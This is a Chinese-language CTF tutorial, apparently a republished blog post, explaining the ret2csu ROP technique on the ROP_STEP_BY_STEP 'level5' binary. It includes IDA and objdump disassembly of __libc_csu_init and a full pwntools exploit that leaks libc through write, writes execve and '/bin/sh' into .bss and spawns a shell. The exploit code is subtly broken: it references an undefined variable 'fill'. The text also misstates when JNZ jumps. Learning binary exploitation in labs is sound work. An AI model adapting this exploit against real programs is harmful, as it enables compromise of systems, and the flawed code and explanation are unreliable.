ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

从零开始的pwn学习之ret2csu

2021-04-09 23:32:20  阅读:597  来源: 互联网

标签:ret2csu libc text rbx mov var 从零开始 pwn rsp


ret2csu

前置知识

X64寄存器

我们知道,64位寄存器有RAX,RBX,RCX,RDX,RDI,RSI,RBP,RSP,R8,R9,R10,R11,R12,R13,R14,R15,而rdi,rsi,rdx,rcx,r8,r9便用来传递函数的前六个参数,如多于六个,便在放到栈里。

__libc_csu_init

一般的程序都会调用libc中的函数,而此函数便是来将libc初始化的,故此函数几乎是每一个程序所必备的。

gadget

我们在构造ROP链的时候,往往会用到能够给寄存器赋值的gadget,形如pop|ret。而有意思的是,__libc_csu_init函数内毫无疑问也存在这样的gadget,我们称之为通用gadget,于是一种利用该通用gadget来构造ROP的方法便诞生了,名为ret2csu

汇编风格

AT&T风格 Intel风格
寄存器前加% 寄存器无需另加符号
立即数前加$ 立即数无需另加符号
16进制立即数使用0x前缀 16进制的立即数使用h后缀
源操作数在前,目的操作数在后(从前往后读) 目的操作数在前,源操作数在后(从后往前读)
间接寻址使用小括号() 间接寻址使用中括号[]
间接寻址完整格式:%sreg:disp(%base,index,scale) 间接寻址完整格式:sreg:[basereg + index*scale + disp]
操作位数:指令+l、w、b 指令+ dword ptr、word ptr、byte ptr

ret2csu

用的题目是蒸米的ROP_STEP_BY_STEP中的level5

题目获取

git clone https://github.com/zhengmin1989/ROP_STEP_BY_STEP.git

此时,我们用ida查看__libc_csu_init函数

.text:00000000004005A0 ; =============== S U B R O U T I N E =======================================
.text:00000000004005A0
.text:00000000004005A0
.text:00000000004005A0 ; void _libc_csu_init(void)
.text:00000000004005A0                 public __libc_csu_init
.text:00000000004005A0 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:00000000004005A0
.text:00000000004005A0 var_30          = qword ptr -30h
.text:00000000004005A0 var_28          = qword ptr -28h
.text:00000000004005A0 var_20          = qword ptr -20h
.text:00000000004005A0 var_18          = qword ptr -18h
.text:00000000004005A0 var_10          = qword ptr -10h
.text:00000000004005A0 var_8           = qword ptr -8
.text:00000000004005A0
.text:00000000004005A0 ; __unwind {
.text:00000000004005A0                 mov     [rsp+var_28], rbp
.text:00000000004005A5                 mov     [rsp+var_20], r12
.text:00000000004005AA                 lea     rbp, cs:600E24h
.text:00000000004005B1                 lea     r12, cs:600E24h
.text:00000000004005B8                 mov     [rsp+var_18], r13
.text:00000000004005BD                 mov     [rsp+var_10], r14
.text:00000000004005C2                 mov     [rsp+var_8], r15
.text:00000000004005C7                 mov     [rsp+var_30], rbx
.text:00000000004005CC                 sub     rsp, 38h
.text:00000000004005D0                 sub     rbp, r12
.text:00000000004005D3                 mov     r13d, edi
.text:00000000004005D6                 mov     r14, rsi
.text:00000000004005D9                 sar     rbp, 3
.text:00000000004005DD                 mov     r15, rdx
.text:00000000004005E0                 call    _init_proc
.text:00000000004005E5                 test    rbp, rbp
.text:00000000004005E8                 jz      short loc_400606
.text:00000000004005EA                 xor     ebx, ebx
.text:00000000004005EC                 nop     dword ptr [rax+00h]
.text:00000000004005F0
.text:00000000004005F0 loc_4005F0:                             ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0                 mov     rdx, r15
.text:00000000004005F3                 mov     rsi, r14
.text:00000000004005F6                 mov     edi, r13d
.text:00000000004005F9                 call    qword ptr [r12+rbx*8]
.text:00000000004005FD                 add     rbx, 1
.text:0000000000400601                 cmp     rbx, rbp
.text:0000000000400604                 jnz     short loc_4005F0
.text:0000000000400606
.text:0000000000400606 loc_400606:                             ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606                 mov     rbx, [rsp+38h+var_30]
.text:000000000040060B                 mov     rbp, [rsp+38h+var_28]
.text:0000000000400610                 mov     r12, [rsp+38h+var_20]
.text:0000000000400615                 mov     r13, [rsp+38h+var_18]
.text:000000000040061A                 mov     r14, [rsp+38h+var_10]
.text:000000000040061F                 mov     r15, [rsp+38h+var_8]
.text:0000000000400624                 add     rsp, 38h
.text:0000000000400628                 retn
.text:0000000000400628 ; } // starts at 4005A0
.text:0000000000400628 __libc_csu_init endp
.text:0000000000400628
.text:0000000000400628 ; ---------------------------------------------------------------------------

首先我们看这里

.text:0000000000400606 loc_400606:                             ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606                 mov     rbx, [rsp+38h+var_30]
.text:000000000040060B                 mov     rbp, [rsp+38h+var_28]
.text:0000000000400610                 mov     r12, [rsp+38h+var_20]
.text:0000000000400615                 mov     r13, [rsp+38h+var_18]
.text:000000000040061A                 mov     r14, [rsp+38h+var_10]
.text:000000000040061F                 mov     r15, [rsp+38h+var_8]
.text:0000000000400624                 add     rsp, 38h
.text:0000000000400628                 retn     

我们可以用栈溢出来给rbx、rbp、r12、r13、r14、r15写上我们所需要的数据,再用ret返回我们所希望的地址。

注意这里因为时sp指针偏移实现的,所以我们要知道var_30等具体为多少,这决定了我们要在rsp+38h+var_30之前填充多少意义不明的数据。于是可以养成用objdump看汇编代码的好习惯,值得一提的是汇编有AT&T风格与Intel风格,而我们所熟悉的显然是更为常见的且规范的intel风格,于是,我们用objdump -M intel -d./level5查看后如下

  400606:       48 8b 5c 24 08          mov    rbx,QWORD PTR [rsp+0x8]
  40060b:       48 8b 6c 24 10          mov    rbp,QWORD PTR [rsp+0x10]
  400610:       4c 8b 64 24 18          mov    r12,QWORD PTR [rsp+0x18]
  400615:       4c 8b 6c 24 20          mov    r13,QWORD PTR [rsp+0x20]
  40061a:       4c 8b 74 24 28          mov    r14,QWORD PTR [rsp+0x28]
  40061f:       4c 8b 7c 24 30          mov    r15,QWORD PTR [rsp+0x30]
  400624:       48 83 c4 38             add    rsp,0x38
  400628:       c3                      ret    

再看这里

.text:00000000004005F0 loc_4005F0:                             ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0                 mov     rdx, r15
.text:00000000004005F3                 mov     rsi, r14
.text:00000000004005F6                 mov     edi, r13d
.text:00000000004005F9                 call    qword ptr [r12+rbx*8]
.text:00000000004005FD                 add     rbx, 1
.text:0000000000400601                 cmp     rbx, rbp
.text:0000000000400604                 jnz     short loc_4005F0

可以将r15中的值赋给rdx,将r14中的值赋给rsi,将r13中的值赋给edi(rdi的低32位,高32位寄存器的值为0),虽然只能控制低32位,但也足以做很多事情了,这三个寄存器就是0x64函数调用中的前三个参数,如果需要用到含有三个参数的函数的时候,那么这一段gadget就即可以按我们所希望的控制全部参数,最后又一个call命令,call命令指向的地址为[r12+rbx*8],那么可以通过控制r12和rbx来跳到我们1所希望的地址

稍微了解过汇编的人都会知道

1若执行cmp指令后:ZF=1,则说明两个数相等,因为zero为1说明结果为0.

2JNZ =jump if not zero 运算结果不为零则转移

3ZF(Zero Flag)–零标志 若运算结果为零则ZF=1,否则ZF=0

4jump if not zero指的是运算结果为零(即ZF=1),而不是指ZF=0

于是我们知道当rbx和rbp 的之间的关系为 rbx+1 = rbp时,我们就不会执行 loc_4005F0,进而继续执行接下来的语句,因为call命令指向的地址与rbx有关,那么很显然我们将rbx的值设的越简单越好,于是使rbx=0,rbp=1.

三次payload

拥有以上知识后,我们将构造三次payload来实施我们的ret2csu

目的

第一次payload:获得write或puts在got表地址,用LibcSearcher识别libc版本,从而获得system地址

第二次payload:通过read函数把system和/bin/sh写入.bss段

在这里插入图片描述

第三次payload: 直接call到之前的.bss地址,执行system(“/bin/sh”)

实例level5

首先,先checksec一下

64位程序,开了NX

没啥可说的,直接上exp吧

from pwn import *
from LibcSearcher import *

elf = ELF('./level5')
sh = process('./level5')

write_got = elf.got['write'] 		#获取write函数的got地址
read_got = elf.got['read']				#获取read函数的got地址
main_addr = elf.symbols['main']  #获取main函数的函数地址
bss_base = elf.bss()							#获取bss段地址
p2 = 0x00000000004005F0 
#gadget2
p1 = 0x0000000000400606
#gadget1

def com_gadget(null, rbx, rbp, r12, r13, r14, r15, main):
  #null为0x8空缺
  #main为main函数地址
    payload = b'a' * 0x88 			#0x80+8个字节填满栈空间至ret返回指令
    payload += p64(p1) 
    payload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(p2)
    payload += b'a' * 56     #56个字节填充平衡堆栈造成的空缺
    payload += p64(main)
    sh.send(payload)    
    sleep(1)						#暂停等待接收

sh.recvuntil('Hello, World\n')
#利用write函数打印write函数地址并返回main函数
com_gadget(0,0, 1, write_got, 1, write_got, 8, main_addr)

write_addr = u64(sh.recv(8))    #接收write函数地址
libc = LibcSearcher('write', write_addr)	#查找libc版本
libc_base = write_addr - libc.dump('write') #计算该版本libc基地址
execve_addr = libc_base + libc.dump('execve') #查找该版本libc execve函数地址,亲测貌似system不行.png

sh.recvuntil('Hello, World\n')
#read函数布局,将execve函数地址和/bin/sh字符串写进bss段首地址
com_gadget(0,0, 1, read_got, 0, bss_base, 16, main_addr)
sh.send(p64(execve_addr) + b'/bin/sh\x00')#凑足十六位

sh.recvuntil('Hello, World\n')
#调用bss段中的execve('/bin/sh')
com_gadget(0,0, 1, bss_base, bss_base+8, 0, 0, main_addr)
sh.interactive()

参考文章

好好说话之ret2csu

Intermediate ROP

有错误希望师傅们指出.png

标签:ret2csu,libc,text,rbx,mov,var,从零开始,pwn,rsp
来源: https://blog.csdn.net/jzc020121/article/details/115561453

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有